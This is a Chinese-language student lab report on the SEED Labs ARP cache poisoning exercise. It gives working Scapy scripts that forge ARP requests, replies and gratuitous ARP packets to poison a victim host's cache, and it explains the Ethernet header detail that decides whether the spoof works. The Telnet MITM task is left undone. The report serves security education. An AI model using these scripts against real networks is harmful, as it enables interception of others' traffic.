SEEDLab ARP Cache Poisoning Attack Lab 实验报告

实验过程

实验环境

主机名	IP地址	MAC地址
M (攻击者)	10.0.2.4	08:00:27:E9:CF:F4
A (客户端)	10.0.2.5	08:00:27:40:49:4E
B (服务器)	10.0.2.7	08:00:27:EC:75:89

一个小tips

通过观察上面每个主机的MAC地址,我们会发现,前三个字节数据一致,仅仅是巧合吗?
当然不是,每个MAC地址有6个字节,前3字节称为OUI ，是由IEEE组织注册给网络设备生产商的；每个厂商拥有一个或多个OUI，彼此不同。后三字节则是由网络设备生产商分配给自己生产的每一个拥有MAC地址的设备，互不重复。同时,不同的虚拟机的软件,制造商不同,OUI也不同,如图:

所以,根据MAC地址可以知道我做实验使用的为VirtualBox软件,但是,结果总是充满惊喜与意外,这是我在10.0.2.4主机抓取的数据包,10.0.2.1为虚拟机的默认路由:
发现,10.0.2.1对应的MAC地址为52:54:0012:35:00… WHAT??这是啥,谁生成的?我没有10.0.2.1主机呀,那是谁回复的ARP响应报文呢?
答案:
咱们没有找到合适的解释…
以后再更…
…

task1:ARP Cache Poisoning

ARP报文格式的前置知识:

每次实验前,需要进行清除缓存:

arp -d 10.0.2.7  #即要缓存进去的ARP缓存信息

task 1A (using ARP request)

使用如下代码:

#!/usr/bin/python3
from scapy.all import *
#src_mac='08:00:27:e9:cf:f4' # M
src_mac='08:00:27:e9:cf:f4'
dst_mac='00:00:00:00:00:00' #ARP request,so all 0
dst_mac_eth='ff:ff:ff:ff:ff:ff'
src_ip='10.0.2.7' # B
dst_ip='10.0.2.99' # for free to set a IP,may not exist 
eth = Ether(src=src_mac,dst=dst_mac_eth) 
arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=1)
pkt = eth / arp
while 1:
	sendp(pkt)
	break

这是正确的代码,理论上来说,我们构造了一个ARP请求报文,且这个报文为广播报文,所以目的IP字段我们理论上是可以设置为任意IP的,都可以使客户端主机A的ARP缓存受到中毒攻击.
wireshark抓包:

A主机缓存中毒,得到如下结果:

攻击成功.

实验过程一个小tips:

如果代码修改成这个(这个是我最初的想法):

#!/usr/bin/python3
from scapy.all import *
#src_mac='08:00:27:e9:cf:f4' # M
src_mac='08:00:27:e9:cf:f4'
dst_mac='00:00:00:00:00:00' #ARP request,so all 0
src_ip='10.0.2.7' # B
dst_ip='10.0.2.5' # A
eth = Ether() #此时,我们设置默认以太网帧头部
arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=1)
pkt = eth / arp
while 1:
	sendp(pkt)
	break

上面的代码可以得到同样的效果,但是需要限制条件:dst_ip必须设置为10.0.2.5,即我们想要攻击的IP,如果其他就会失败.然后,这个现象就很奇怪,理论上来说,ARP为广播报文,我设置任何目的IP,都可以攻击成功啊?带着这个疑问,进行了一系列的思考与学习:
在主机M运行代码后,使用wireshark抓包得到如下两条信息:

为什么会有第一条广播ARP请求,且回复的IP为10.0.2.4,而不是我代码中指定的10.0.2.7?
代码中伪造的ARP请求应该对应于第3条信息啊,上面图片的问题怎么解释?
代码中eth = Ether()字段必须设置参数吗?

这个涉及到python中scapy发送ARP请求报文机制的问题,ARP报文在以太网帧数据包中传输,需要在头部添加以太网帧头部,即源MAC地址和目的MAC地址,如果我们不进行手动设置,则python程序会自动进行请求系统询问目的IP对应的MAC地址,即10.0.2.5的MAC,系统会根据询问的IP进行寻找对应目的MAC地址,主机缓存中没有,则主机进行ARP请求报文进行寻找,即上面的第一个数据包.
这个ARP请求报文为广播,但是,就不是我们的python程序起作用了,而是系统生成并发送的.
得到第二条数据包ARP回复报文,返回了目的IP:10.0.2.5的MAC地址,python添加到以太网帧头部的dst字段中,而src字段(即源MAC地址)会默认添加本主机的MAC地址,所以出现第三个数据包的情况,此时便不是一个广播ARP请求了,而是一个单播ARP请求.
查看缓存,仍然可以成功:

但是,这是由于我们目的IP设置为10.0.2.5,即 客户主机A,如果我们设置成其他主机IP,目的主机A就不会攻击成功,因为我们设定的伪造ARP压根不会被发送到主机A(ARP单播到设定的目的IP主机了),从而也不会攻击成功.
所以eth = Ether()字段src字段可设置任意或不设置,但是dst字段必须手动设置为广播MAC:ff-ff-ff-ff-ff-ff

情况顿时明朗了…
问题解决…
bingo…

task 1B (using ARP reply)

使用如下代码:

#!/usr/bin/python3
from scapy.all import *
src_mac='08:00:27:e9:cf:f4' # M
dst_mac='08:00:27:40:49:4e' # A
src_ip='10.0.2.7' # B
dst_ip='10.0.2.5' # A
eth = Ether(src=src_mac, dst=dst_mac)
arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=2)
pkt = eth / arp
while 1:
	sendp(pkt)

在主机A中不存在关于10.0.2.7的ARP缓存信息时,攻击结果:在A主机使用arp -a查看ARP缓存信息:
在主机A中已经存在关于10.0.2.7的ARP缓存信息时,攻击结果:在A主机使用arp -a查看ARP缓存信息:

结果分析:

结果表明,无论客户端主机A是否存有10.0.2.7的ARP缓存,攻击都会成功.由于ARP回复为单播,所以eth = Ether(src=src_mac, dst=dst_mac)字段参数设置与否都可以成功,ARP不进行这些检查的,太不安全了…但是效率高.

task 1C (using ARP gratuitous message)

运行如下代码:

#!/usr/bin/python3
from scapy.all import *
src_mac='08:00:27:e9:cf:f4' # M
dst_mac='ff:ff:ff:ff:ff:ff' # broadcast MAC address
src_ip='10.0.2.7' # B
dst_ip='10.0.2.7' # B
eth = Ether(src=src_mac, dst=dst_mac)
arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=2)
pkt = eth / arp
while 1:
	sendp(pkt)

我们发现,当客户端主机10.0.2.5ARP缓存中有或没有10.0.2.7的ARP缓存时,都可以攻击成功:

结果分析:

查阅资料可知:ARP gratuitous message主要用于一下两种场景并发挥作用:

1. 更新ARP映射,如果一个主机的IP地址与MAC地址的映射关系改变了,嗯,MAC地址一般不会变,但是IP地址是经常改变的,所以需要通知局域网内其他主机,发送ARP gratuitous message既可进行更新.
2. IP地址冲突检测, 看广播域内有没有别的主机使用自己的IP，如果使用了，则在界面上弹出“IP冲突”字样。普通ARP请求报文广播发送出去，广播域内所有主机都接收到，计算机系统判断ARP请求报文中的目的IP地址字段，如果发现和本机的IP地址相同，则将自己的MAC地址填写到该报文的目的MAC地址字段，并将该报文发回给源主机。所以只要发送ARP请求的主机接收到报文，则证明广播域内有别的主机使用和自己相同的IP地址（这里不考虑路由器的ARP代理问题）。免费ARP的报文发出去是不希望收到回应的，只希望是起宣告作用；如果收到回应，则证明对方也使用自己目前使用的IP地址。
   本实验主要使用了场景1.

task 2: MITM Attack on Telnet using ARP Cache Poisoning

以后再做,期末复习不完了,复习…

实验总结